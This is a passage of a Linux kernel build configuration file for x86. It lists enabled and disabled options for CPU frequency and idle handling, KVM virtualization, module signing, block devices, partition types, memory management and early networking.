# CONFIG_CPUFREQ_DT_PLATDEV is not set
CONFIG_X86_INTEL_PSTATE=y
# CONFIG_X86_PCC_CPUFREQ is not set
CONFIG_X86_AMD_PSTATE=y
CONFIG_X86_AMD_PSTATE_DEFAULT_MODE=3
# CONFIG_X86_AMD_PSTATE_UT is not set
CONFIG_X86_ACPI_CPUFREQ=y
CONFIG_X86_ACPI_CPUFREQ_CPB=y
# CONFIG_X86_POWERNOW_K8 is not set
# CONFIG_X86_AMD_FREQ_SENSITIVITY is not set
# CONFIG_X86_SPEEDSTEP_CENTRINO is not set
# CONFIG_X86_P4_CLOCKMOD is not set

#
# shared options
#
CONFIG_CPUFREQ_ARCH_CUR_FREQ=y
# end of CPU Frequency scaling

#
# CPU Idle
#
CONFIG_CPU_IDLE=y
# CONFIG_CPU_IDLE_GOV_LADDER is not set
CONFIG_CPU_IDLE_GOV_MENU=y
# CONFIG_CPU_IDLE_GOV_TEO is not set
CONFIG_CPU_IDLE_GOV_HALTPOLL=y
CONFIG_HALTPOLL_CPUIDLE=y
# end of CPU Idle

CONFIG_INTEL_IDLE=y
# end of Power management and ACPI options

#
# Bus options (PCI etc.)
#
CONFIG_PCI_DIRECT=y
CONFIG_PCI_MMCONFIG=y
CONFIG_MMCONF_FAM10H=y
CONFIG_ISA_BUS=y
CONFIG_ISA_DMA_API=y
CONFIG_AMD_NB=y
CONFIG_AMD_NODE=y
# end of Bus options (PCI etc.)

#
# Binary Emulations
#
CONFIG_IA32_EMULATION=y
# CONFIG_IA32_EMULATION_DEFAULT_DISABLED is not set
CONFIG_X86_X32_ABI=y
CONFIG_COMPAT_32=y
CONFIG_COMPAT=y
CONFIG_COMPAT_FOR_U64_ALIGNMENT=y
# end of Binary Emulations

CONFIG_KVM_COMMON=y
CONFIG_HAVE_KVM_PFNCACHE=y
CONFIG_HAVE_KVM_IRQCHIP=y
CONFIG_HAVE_KVM_IRQ_ROUTING=y
CONFIG_HAVE_KVM_DIRTY_RING=y
CONFIG_HAVE_KVM_DIRTY_RING_TSO=y
CONFIG_HAVE_KVM_DIRTY_RING_ACQ_REL=y
CONFIG_KVM_MMIO=y
CONFIG_KVM_ASYNC_PF=y
CONFIG_HAVE_KVM_MSI=y
CONFIG_HAVE_KVM_READONLY_MEM=y
CONFIG_HAVE_KVM_CPU_RELAX_INTERCEPT=y
CONFIG_KVM_VFIO=y
CONFIG_KVM_GENERIC_DIRTYLOG_READ_PROTECT=y
CONFIG_KVM_GENERIC_PRE_FAULT_MEMORY=y
CONFIG_KVM_COMPAT=y
CONFIG_HAVE_KVM_IRQ_BYPASS=y
CONFIG_HAVE_KVM_NO_POLL=y
CONFIG_VIRT_XFER_TO_GUEST_WORK=y
CONFIG_HAVE_KVM_PM_NOTIFIER=y
CONFIG_KVM_GENERIC_HARDWARE_ENABLING=y
CONFIG_KVM_ELIDE_TLB_FLUSH_IF_YOUNG=y
CONFIG_KVM_MMU_LOCKLESS_AGING=y
CONFIG_KVM_GENERIC_MEMORY_ATTRIBUTES=y
CONFIG_KVM_GUEST_MEMFD=y
CONFIG_VIRTUALIZATION=y
CONFIG_KVM_X86=y
CONFIG_KVM=y
CONFIG_KVM_SW_PROTECTED_VM=y
CONFIG_KVM_INTEL=y
# CONFIG_KVM_INTEL_PROVE_VE is not set
CONFIG_X86_SGX_KVM=y
CONFIG_KVM_AMD=y
CONFIG_KVM_IOAPIC=y
# CONFIG_KVM_SMM is not set
CONFIG_KVM_HYPERV=y
CONFIG_KVM_XEN=y
CONFIG_KVM_PROVE_MMU=y
CONFIG_KVM_MAX_NR_VCPUS=1024
CONFIG_X86_REQUIRED_FEATURE_ALWAYS=y
CONFIG_X86_REQUIRED_FEATURE_NOPL=y
CONFIG_X86_REQUIRED_FEATURE_CX8=y
CONFIG_X86_REQUIRED_FEATURE_CMOV=y
CONFIG_X86_REQUIRED_FEATURE_CPUID=y
CONFIG_X86_REQUIRED_FEATURE_FPU=y
CONFIG_X86_REQUIRED_FEATURE_PAE=y
CONFIG_X86_REQUIRED_FEATURE_PSE=y
CONFIG_X86_REQUIRED_FEATURE_PGE=y
CONFIG_X86_REQUIRED_FEATURE_MSR=y
CONFIG_X86_REQUIRED_FEATURE_FXSR=y
CONFIG_X86_REQUIRED_FEATURE_XMM=y
CONFIG_X86_REQUIRED_FEATURE_XMM2=y
CONFIG_X86_REQUIRED_FEATURE_LM=y
CONFIG_X86_DISABLED_FEATURE_VME=y
CONFIG_X86_DISABLED_FEATURE_K6_MTRR=y
CONFIG_X86_DISABLED_FEATURE_CYRIX_ARR=y
CONFIG_X86_DISABLED_FEATURE_CENTAUR_MCR=y
CONFIG_X86_DISABLED_FEATURE_LAM=y
CONFIG_X86_DISABLED_FEATURE_XENPV=y
CONFIG_X86_DISABLED_FEATURE_TDX_GUEST=y
CONFIG_X86_DISABLED_FEATURE_SEV_SNP=y
CONFIG_AS_WRUSS=y
CONFIG_ARCH_CONFIGURES_CPU_MITIGATIONS=y

#
# General architecture-dependent options
#
CONFIG_HOTPLUG_SMT=y
CONFIG_ARCH_SUPPORTS_SCHED_SMT=y
CONFIG_ARCH_SUPPORTS_SCHED_CLUSTER=y
CONFIG_ARCH_SUPPORTS_SCHED_MC=y
CONFIG_SCHED_SMT=y
CONFIG_SCHED_CLUSTER=y
CONFIG_SCHED_MC=y
CONFIG_HOTPLUG_CORE_SYNC=y
CONFIG_HOTPLUG_CORE_SYNC_DEAD=y
CONFIG_HOTPLUG_CORE_SYNC_FULL=y
CONFIG_HOTPLUG_SPLIT_STARTUP=y
CONFIG_HOTPLUG_PARALLEL=y
CONFIG_GENERIC_IRQ_ENTRY=y
CONFIG_GENERIC_SYSCALL=y
CONFIG_GENERIC_ENTRY=y
# CONFIG_KPROBES is not set
CONFIG_JUMP_LABEL=y
# CONFIG_STATIC_KEYS_SELFTEST is not set
# CONFIG_STATIC_CALL_SELFTEST is not set
CONFIG_UPROBES=y
CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS=y
CONFIG_ARCH_USE_BUILTIN_BSWAP=y
CONFIG_USER_RETURN_NOTIFIER=y
CONFIG_HAVE_IOREMAP_PROT=y
CONFIG_HAVE_KPROBES=y
CONFIG_HAVE_KRETPROBES=y
CONFIG_HAVE_OPTPROBES=y
CONFIG_HAVE_KPROBES_ON_FTRACE=y
CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y
CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y
CONFIG_HAVE_NMI=y
CONFIG_TRACE_IRQFLAGS_SUPPORT=y
CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y
CONFIG_HAVE_ARCH_TRACEHOOK=y
CONFIG_HAVE_DMA_CONTIGUOUS=y
CONFIG_GENERIC_SMP_IDLE_THREAD=y
CONFIG_ARCH_HAS_FORTIFY_SOURCE=y
CONFIG_ARCH_HAS_SET_MEMORY=y
CONFIG_ARCH_HAS_SET_DIRECT_MAP=y
CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y
CONFIG_ARCH_HAS_CPU_PASID=y
CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y
CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y
CONFIG_ARCH_WANTS_NO_INSTR=y
CONFIG_HAVE_ASM_MODVERSIONS=y
CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y
CONFIG_HAVE_RSEQ=y
CONFIG_HAVE_RUST=y
CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y
CONFIG_HAVE_HW_BREAKPOINT=y
CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y
CONFIG_HAVE_USER_RETURN_NOTIFIER=y
CONFIG_HAVE_PERF_EVENTS_NMI=y
CONFIG_HAVE_HARDLOCKUP_DETECTOR_PERF=y
CONFIG_UNWIND_USER=y
CONFIG_HAVE_UNWIND_USER_FP=y
CONFIG_HAVE_PERF_REGS=y
CONFIG_HAVE_PERF_USER_STACK_DUMP=y
CONFIG_HAVE_ARCH_JUMP_LABEL=y
CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y
CONFIG_MMU_GATHER_TABLE_FREE=y
CONFIG_MMU_GATHER_RCU_TABLE_FREE=y
CONFIG_MMU_GATHER_MERGE_VMAS=y
CONFIG_ARCH_WANT_IRQS_OFF_ACTIVATE_MM=y
CONFIG_MMU_LAZY_TLB_REFCOUNT=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y
CONFIG_ARCH_HAVE_EXTRA_ELF_NOTES=y
CONFIG_ARCH_HAS_NMI_SAFE_THIS_CPU_OPS=y
CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y
CONFIG_HAVE_CMPXCHG_LOCAL=y
CONFIG_HAVE_CMPXCHG_DOUBLE=y
CONFIG_ARCH_WANT_COMPAT_IPC_PARSE_VERSION=y
CONFIG_ARCH_WANT_OLD_COMPAT_IPC=y
CONFIG_HAVE_ARCH_SECCOMP=y
CONFIG_HAVE_ARCH_SECCOMP_FILTER=y
CONFIG_SECCOMP=y
CONFIG_SECCOMP_FILTER=y
# CONFIG_SECCOMP_CACHE_DEBUG is not set
CONFIG_HAVE_ARCH_KSTACK_ERASE=y
CONFIG_HAVE_STACKPROTECTOR=y
CONFIG_STACKPROTECTOR=y
CONFIG_STACKPROTECTOR_STRONG=y
CONFIG_ARCH_SUPPORTS_LTO_CLANG=y
CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y
CONFIG_LTO_NONE=y
CONFIG_ARCH_SUPPORTS_AUTOFDO_CLANG=y
CONFIG_ARCH_SUPPORTS_PROPELLER_CLANG=y
CONFIG_ARCH_SUPPORTS_CFI=y
CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y
CONFIG_HAVE_CONTEXT_TRACKING_USER=y
CONFIG_HAVE_CONTEXT_TRACKING_USER_OFFSTACK=y
CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y
CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y
CONFIG_HAVE_PV_STEAL_CLOCK_GEN=y
CONFIG_HAVE_MOVE_PUD=y
CONFIG_HAVE_MOVE_PMD=y
CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y
CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y
CONFIG_HAVE_ARCH_HUGE_VMAP=y
CONFIG_HAVE_ARCH_HUGE_VMALLOC=y
CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y
CONFIG_ARCH_WANT_PMD_MKWRITE=y
CONFIG_HAVE_ARCH_SOFT_DIRTY=y
CONFIG_HAVE_MOD_ARCH_SPECIFIC=y
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_ARCH_HAS_EXECMEM_ROX=y
CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y
CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y
CONFIG_SOFTIRQ_ON_OWN_STACK=y
CONFIG_ARCH_HAS_ELF_RANDOMIZE=y
CONFIG_HAVE_ARCH_MMAP_RND_BITS=y
CONFIG_HAVE_EXIT_THREAD=y
CONFIG_ARCH_MMAP_RND_BITS=28
CONFIG_HAVE_ARCH_MMAP_RND_COMPAT_BITS=y
CONFIG_ARCH_MMAP_RND_COMPAT_BITS=8
CONFIG_HAVE_ARCH_COMPAT_MMAP_BASES=y
CONFIG_HAVE_PAGE_SIZE_4KB=y
CONFIG_PAGE_SIZE_4KB=y
CONFIG_PAGE_SIZE_LESS_THAN_64KB=y
CONFIG_PAGE_SIZE_LESS_THAN_256KB=y
CONFIG_PAGE_SHIFT=12
CONFIG_HAVE_OBJTOOL=y
CONFIG_HAVE_JUMP_LABEL_HACK=y
CONFIG_HAVE_NOINSTR_HACK=y
CONFIG_HAVE_NOINSTR_VALIDATION=y
CONFIG_HAVE_UACCESS_VALIDATION=y
CONFIG_HAVE_STACK_VALIDATION=y
CONFIG_HAVE_RELIABLE_STACKTRACE=y
CONFIG_OLD_SIGSUSPEND3=y
CONFIG_COMPAT_OLD_SIGACTION=y
CONFIG_COMPAT_32BIT_TIME=y
CONFIG_ARCH_SUPPORTS_RT=y
CONFIG_HAVE_ARCH_VMAP_STACK=y
CONFIG_VMAP_STACK=y
CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y
CONFIG_RANDOMIZE_KSTACK_OFFSET=y
# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_STRICT_MODULE_RWX=y
CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y
# CONFIG_LOCK_EVENT_COUNTS is not set
CONFIG_ARCH_HAS_MEM_ENCRYPT=y
CONFIG_HAVE_STATIC_CALL=y
CONFIG_HAVE_STATIC_CALL_INLINE=y
CONFIG_HAVE_PREEMPT_DYNAMIC=y
CONFIG_HAVE_PREEMPT_DYNAMIC_CALL=y
CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y
CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y
CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y
CONFIG_ARCH_HAS_ELFCORE_COMPAT=y
CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y
CONFIG_DYNAMIC_SIGFRAME=y
CONFIG_HAVE_ARCH_NODE_DEV_GROUP=y
CONFIG_ARCH_HAS_HW_PTE_YOUNG=y
CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y
CONFIG_ARCH_HAS_KERNEL_FPU_SUPPORT=y
CONFIG_HAVE_GENERIC_TIF_BITS=y

#
# GCOV-based kernel profiling
#
# CONFIG_GCOV_KERNEL is not set
CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y
# end of GCOV-based kernel profiling

CONFIG_HAVE_GCC_PLUGINS=y
CONFIG_FUNCTION_ALIGNMENT_4B=y
CONFIG_FUNCTION_ALIGNMENT_16B=y
CONFIG_FUNCTION_ALIGNMENT=16
CONFIG_CC_HAS_MIN_FUNCTION_ALIGNMENT=y
CONFIG_CC_HAS_SANE_FUNCTION_ALIGNMENT=y
CONFIG_ARCH_HAS_CPU_ATTACK_VECTORS=y
# end of General architecture-dependent options

CONFIG_RT_MUTEXES=y
CONFIG_MODULE_SIG_FORMAT=y
CONFIG_MODULES=y
# CONFIG_MODULE_DEBUG is not set
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
# CONFIG_MODULE_UNLOAD_TAINT_TRACKING is not set
CONFIG_MODVERSIONS=y
# CONFIG_GENKSYMS is not set
CONFIG_GENDWARFKSYMS=y
CONFIG_ASM_MODVERSIONS=y
# CONFIG_EXTENDED_MODVERSIONS is not set
# CONFIG_BASIC_MODVERSIONS is not set
CONFIG_MODULE_SRCVERSION_ALL=y
CONFIG_MODULE_SIG=y
# CONFIG_MODULE_SIG_FORCE is not set
# CONFIG_MODULE_SIG_ALL is not set
CONFIG_MODULE_SIG_SHA256=y
# CONFIG_MODULE_SIG_SHA384 is not set
# CONFIG_MODULE_SIG_SHA512 is not set
# CONFIG_MODULE_SIG_SHA3_256 is not set
# CONFIG_MODULE_SIG_SHA3_384 is not set
# CONFIG_MODULE_SIG_SHA3_512 is not set
CONFIG_MODULE_SIG_HASH="sha256"
# CONFIG_MODULE_COMPRESS is not set
# CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set
CONFIG_MODPROBE_PATH="/sbin/modprobe"
# CONFIG_TRIM_UNUSED_KSYMS is not set
CONFIG_MODULES_TREE_LOOKUP=y
CONFIG_BLOCK=y
CONFIG_BLOCK_LEGACY_AUTOLOAD=y
CONFIG_BLK_RQ_ALLOC_TIME=y
CONFIG_BLK_CGROUP_RWSTAT=y
CONFIG_BLK_CGROUP_PUNT_BIO=y
CONFIG_BLK_DEV_BSG_COMMON=y
CONFIG_BLK_ICQ=y
CONFIG_BLK_DEV_BSGLIB=y
CONFIG_BLK_DEV_INTEGRITY=y
# CONFIG_BLK_DEV_WRITE_MOUNTED is not set
CONFIG_BLK_DEV_ZONED=y
CONFIG_BLK_DEV_THROTTLING=y
CONFIG_BLK_WBT=y
CONFIG_BLK_WBT_MQ=y
CONFIG_BLK_CGROUP_IOLATENCY=y
# CONFIG_BLK_CGROUP_FC_APPID is not set
CONFIG_BLK_CGROUP_IOCOST=y
CONFIG_BLK_CGROUP_IOPRIO=y
CONFIG_BLK_DEBUG_FS=y
# CONFIG_BLK_SED_OPAL is not set
CONFIG_BLK_INLINE_ENCRYPTION=y
CONFIG_BLK_INLINE_ENCRYPTION_FALLBACK=y

#
# Partition Types
#
CONFIG_PARTITION_ADVANCED=y
CONFIG_ACORN_PARTITION=y
CONFIG_ACORN_PARTITION_CUMANA=y
CONFIG_ACORN_PARTITION_EESOX=y
CONFIG_ACORN_PARTITION_ICS=y
CONFIG_ACORN_PARTITION_ADFS=y
CONFIG_ACORN_PARTITION_POWERTEC=y
CONFIG_ACORN_PARTITION_RISCIX=y
CONFIG_AIX_PARTITION=y
CONFIG_OSF_PARTITION=y
CONFIG_AMIGA_PARTITION=y
CONFIG_ATARI_PARTITION=y
CONFIG_MAC_PARTITION=y
CONFIG_MSDOS_PARTITION=y
CONFIG_BSD_DISKLABEL=y
CONFIG_MINIX_SUBPARTITION=y
CONFIG_SOLARIS_X86_PARTITION=y
CONFIG_UNIXWARE_DISKLABEL=y
CONFIG_LDM_PARTITION=y
# CONFIG_LDM_DEBUG is not set
CONFIG_SGI_PARTITION=y
CONFIG_ULTRIX_PARTITION=y
CONFIG_SUN_PARTITION=y
CONFIG_KARMA_PARTITION=y
CONFIG_EFI_PARTITION=y
CONFIG_SYSV68_PARTITION=y
CONFIG_CMDLINE_PARTITION=y
# CONFIG_OF_PARTITION is not set
# end of Partition Types

CONFIG_BLK_PM=y
CONFIG_BLOCK_HOLDER_DEPRECATED=y
CONFIG_BLK_MQ_STACKING=y

#
# IO Schedulers
#
CONFIG_MQ_IOSCHED_DEADLINE=y
CONFIG_MQ_IOSCHED_KYBER=y
CONFIG_IOSCHED_BFQ=y
CONFIG_BFQ_GROUP_IOSCHED=y
CONFIG_BFQ_CGROUP_DEBUG=y
# end of IO Schedulers

CONFIG_PREEMPT_NOTIFIERS=y
CONFIG_PADATA=y
CONFIG_ASN1=y
CONFIG_UNINLINE_SPIN_UNLOCK=y
CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y
CONFIG_MUTEX_SPIN_ON_OWNER=y
CONFIG_RWSEM_SPIN_ON_OWNER=y
CONFIG_LOCK_SPIN_ON_OWNER=y
CONFIG_ARCH_USE_QUEUED_SPINLOCKS=y
CONFIG_QUEUED_SPINLOCKS=y
CONFIG_ARCH_USE_QUEUED_RWLOCKS=y
CONFIG_QUEUED_RWLOCKS=y
CONFIG_ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE=y
CONFIG_ARCH_HAS_SYNC_CORE_BEFORE_USERMODE=y
CONFIG_ARCH_HAS_SYSCALL_WRAPPER=y
CONFIG_FREEZER=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
CONFIG_COMPAT_BINFMT_ELF=y
CONFIG_ELFCORE=y
CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y
CONFIG_BINFMT_SCRIPT=y
CONFIG_BINFMT_MISC=y
CONFIG_COREDUMP=y
# end of Executable file formats

#
# Memory Management options
#
CONFIG_SWAP=y
CONFIG_ZSWAP=y
CONFIG_ZSWAP_DEFAULT_ON=y
CONFIG_ZSWAP_SHRINKER_DEFAULT_ON=y
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_DEFLATE is not set
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_LZO is not set
CONFIG_ZSWAP_COMPRESSOR_DEFAULT_842=y
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_LZ4 is not set
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_LZ4HC is not set
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_ZSTD is not set
CONFIG_ZSWAP_COMPRESSOR_DEFAULT="842"
CONFIG_ZSMALLOC=y

#
# Zsmalloc allocator options
#

#
# Zsmalloc is a common backend allocator for zswap & zram
#
# CONFIG_ZSMALLOC_STAT is not set
CONFIG_ZSMALLOC_CHAIN_SIZE=8
# end of Zsmalloc allocator options

#
# Slab allocator options
#
CONFIG_SLUB=y
CONFIG_KVFREE_RCU_BATCHED=y
# CONFIG_SLUB_TINY is not set
CONFIG_SLAB_MERGE_DEFAULT=y
# CONFIG_SLAB_FREELIST_RANDOM is not set
# CONFIG_SLAB_FREELIST_HARDENED is not set
# CONFIG_SLAB_BUCKETS is not set
# CONFIG_SLUB_STATS is not set
# CONFIG_RANDOM_KMALLOC_CACHES is not set
# end of Slab allocator options

# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set
# CONFIG_COMPAT_BRK is not set
CONFIG_SPARSEMEM=y
CONFIG_SPARSEMEM_EXTREME=y
CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y
CONFIG_SPARSEMEM_VMEMMAP=y
CONFIG_SPARSEMEM_VMEMMAP_PREINIT=y
CONFIG_ARCH_WANT_OPTIMIZE_DAX_VMEMMAP=y
CONFIG_ARCH_WANT_OPTIMIZE_HUGETLB_VMEMMAP=y
CONFIG_ARCH_WANT_HUGETLB_VMEMMAP_PREINIT=y
CONFIG_HAVE_GUP_FAST=y
CONFIG_NUMA_KEEP_MEMINFO=y
CONFIG_MEMORY_ISOLATION=y
CONFIG_EXCLUSIVE_SYSTEM_RAM=y
CONFIG_HAVE_BOOTMEM_INFO_NODE=y
CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y
CONFIG_ARCH_ENABLE_MEMORY_HOTREMOVE=y
CONFIG_MEMORY_HOTPLUG=y
# CONFIG_MHP_DEFAULT_ONLINE_TYPE_OFFLINE is not set
CONFIG_MHP_DEFAULT_ONLINE_TYPE_ONLINE_AUTO=y
# CONFIG_MHP_DEFAULT_ONLINE_TYPE_ONLINE_KERNEL is not set
# CONFIG_MHP_DEFAULT_ONLINE_TYPE_ONLINE_MOVABLE is not set
CONFIG_MEMORY_HOTREMOVE=y
CONFIG_MHP_MEMMAP_ON_MEMORY=y
CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y
CONFIG_SPLIT_PTE_PTLOCKS=y
CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y
CONFIG_SPLIT_PMD_PTLOCKS=y
CONFIG_BALLOON=y
CONFIG_BALLOON_MIGRATION=y
CONFIG_COMPACTION=y
CONFIG_COMPACT_UNEVICTABLE_DEFAULT=1
CONFIG_PAGE_REPORTING=y
CONFIG_MIGRATION=y
CONFIG_DEVICE_MIGRATION=y
CONFIG_ARCH_ENABLE_HUGEPAGE_MIGRATION=y
CONFIG_ARCH_ENABLE_THP_MIGRATION=y
CONFIG_CONTIG_ALLOC=y
CONFIG_PCP_BATCH_SCALE_MAX=5
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_MMU_NOTIFIER=y
CONFIG_KSM=y
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y
# CONFIG_MEMORY_FAILURE is not set
CONFIG_ARCH_WANT_GENERAL_HUGETLB=y
CONFIG_ARCH_WANTS_THP_SWAP=y
# CONFIG_PERSISTENT_HUGE_ZERO_FOLIO is not set
CONFIG_MM_ID=y
CONFIG_TRANSPARENT_HUGEPAGE=y
# CONFIG_TRANSPARENT_HUGEPAGE_ALWAYS is not set
CONFIG_TRANSPARENT_HUGEPAGE_MADVISE=y
# CONFIG_TRANSPARENT_HUGEPAGE_NEVER is not set
# CONFIG_TRANSPARENT_HUGEPAGE_SHMEM_HUGE_NEVER is not set
# CONFIG_TRANSPARENT_HUGEPAGE_SHMEM_HUGE_ALWAYS is not set
# CONFIG_TRANSPARENT_HUGEPAGE_SHMEM_HUGE_WITHIN_SIZE is not set
CONFIG_TRANSPARENT_HUGEPAGE_SHMEM_HUGE_ADVISE=y
# CONFIG_TRANSPARENT_HUGEPAGE_TMPFS_HUGE_NEVER is not set
# CONFIG_TRANSPARENT_HUGEPAGE_TMPFS_HUGE_ALWAYS is not set
# CONFIG_TRANSPARENT_HUGEPAGE_TMPFS_HUGE_WITHIN_SIZE is not set
CONFIG_TRANSPARENT_HUGEPAGE_TMPFS_HUGE_ADVISE=y
CONFIG_THP_SWAP=y
CONFIG_READ_ONLY_THP_FOR_FS=y
# CONFIG_NO_PAGE_MAPCOUNT is not set
CONFIG_PAGE_MAPCOUNT=y
CONFIG_PGTABLE_HAS_HUGE_LEAVES=y
CONFIG_HAVE_GIGANTIC_FOLIOS=y
CONFIG_ASYNC_KERNEL_PGTABLE_FREE=y
CONFIG_ARCH_SUPPORTS_HUGE_PFNMAP=y
CONFIG_ARCH_SUPPORTS_PMD_PFNMAP=y
CONFIG_ARCH_SUPPORTS_PUD_PFNMAP=y
CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y
CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y
CONFIG_USE_PERCPU_NUMA_NODE_ID=y
CONFIG_HAVE_SETUP_PER_CPU_AREA=y
CONFIG_CMA=y
# CONFIG_CMA_DEBUGFS is not set
# CONFIG_CMA_SYSFS is not set
CONFIG_CMA_AREAS=20
CONFIG_PAGE_BLOCK_MAX_ORDER=10
CONFIG_MEM_SOFT_DIRTY=y
CONFIG_GENERIC_EARLY_IOREMAP=y
# CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set
CONFIG_PAGE_IDLE_FLAG=y
# CONFIG_IDLE_PAGE_TRACKING is not set
CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y
CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y
CONFIG_ARCH_HAS_ZONE_DMA_SET=y
CONFIG_ZONE_DMA=y
CONFIG_ZONE_DMA32=y
CONFIG_ZONE_DEVICE=y
CONFIG_HMM_MIRROR=y
CONFIG_GET_FREE_REGION=y
CONFIG_DEVICE_PRIVATE=y
CONFIG_VMAP_PFN=y
CONFIG_ARCH_USES_HIGH_VMA_FLAGS=y
CONFIG_ARCH_HAS_PKEYS=y
CONFIG_ARCH_USES_PG_ARCH_2=y
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PERCPU_STATS=y
# CONFIG_GUP_TEST is not set
# CONFIG_DMAPOOL_TEST is not set
CONFIG_ARCH_HAS_PTE_SPECIAL=y
CONFIG_MAPPING_DIRTY_HELPERS=y
CONFIG_KMAP_LOCAL=y
CONFIG_MEMFD_CREATE=y
CONFIG_SECRETMEM=y
CONFIG_ANON_VMA_NAME=y
CONFIG_HAVE_ARCH_USERFAULTFD_WP=y
CONFIG_HAVE_ARCH_USERFAULTFD_MINOR=y
CONFIG_USERFAULTFD=y
# CONFIG_PTE_MARKER_UFFD_WP is not set
CONFIG_LRU_GEN=y
CONFIG_LRU_GEN_ENABLED=y
# CONFIG_LRU_GEN_STATS is not set
CONFIG_LRU_GEN_WALKS_MMU=y
CONFIG_ARCH_SUPPORTS_PER_VMA_LOCK=y
CONFIG_PER_VMA_LOCK=y
CONFIG_LOCK_MM_AND_FIND_VMA=y
CONFIG_IOMMU_MM_DATA=y
CONFIG_EXECMEM=y
CONFIG_NUMA_MEMBLKS=y
CONFIG_NUMA_EMU=y
CONFIG_ARCH_HAS_USER_SHADOW_STACK=y
CONFIG_PT_RECLAIM=y

#
# Data Access Monitoring
#
CONFIG_DAMON=y
CONFIG_DAMON_VADDR=y
CONFIG_DAMON_PADDR=y
# CONFIG_DAMON_SYSFS is not set
CONFIG_DAMON_RECLAIM=y
# CONFIG_DAMON_LRU_SORT is not set
# CONFIG_DAMON_STAT is not set
# end of Data Access Monitoring
# end of Memory Management options

CONFIG_NET=y
CONFIG_WANT_COMPAT_NETLINK_MESSAGES=y
CONFIG_COMPAT_NETLINK_MESSAGES=y
CONFIG_NET_INGRESS=y
CONFIG_NET_EGRESS=y
CONFIG_NET_XGRESS=y
CONFIG_NET_REDIRECT=y
CONFIG_SKB_DECRYPTED=y
CONFIG_SKB_EXTENSIONS=y
CONFIG_NET_DEVMEM=y
CONFIG_NET_SHAPER=y
CONFIG_NET_CRC32C=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_DIAG=y
CONFIG_INET_PSP=y
CONFIG_UNIX=y
CONFIG_AF_UNIX_OOB=y
CONFIG_UNIX_DIAG=y
CONFIG_TLS=y
CONFIG_TLS_DEVICE=y
CONFIG_TLS_TOE=y
CONFIG_XFRM=y
CONFIG_XFRM_OFFLOAD=y
CONFIG_XFRM_ALGO=y
CONFIG_XFRM_USER=y
CONFIG_XFRM_USER_COMPAT=y
CONFIG_XFRM_INTERFACE=y
CONFIG_XFRM_SUB_POLICY=y
CONFIG_XFRM_MIGRATE=y
CONFIG_XFRM_STATISTICS=y
CONFIG_XFRM_AH=y
CONFIG_XFRM_ESP=y
CONFIG_XFRM_IPCOMP=y
CONFIG_NET_KEY=y
CONFIG_NET_KEY_MIGRATE=y
# CONFIG_XFRM_IPTFS is not set
CONFIG_XFRM_ESPINTCP=y
CONFIG_SMC=y
CONFIG_SMC_DIAG=y
# CONFIG_SMC_HS_CTRL_BPF is not set
CONFIG_DIBS=y
CONFIG_DIBS_LO=y
CONFIG_XDP_SOCKETS=y
CONFIG_XDP_SOCKETS_DIAG=y
CONFIG_NET_HANDSHAKE=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
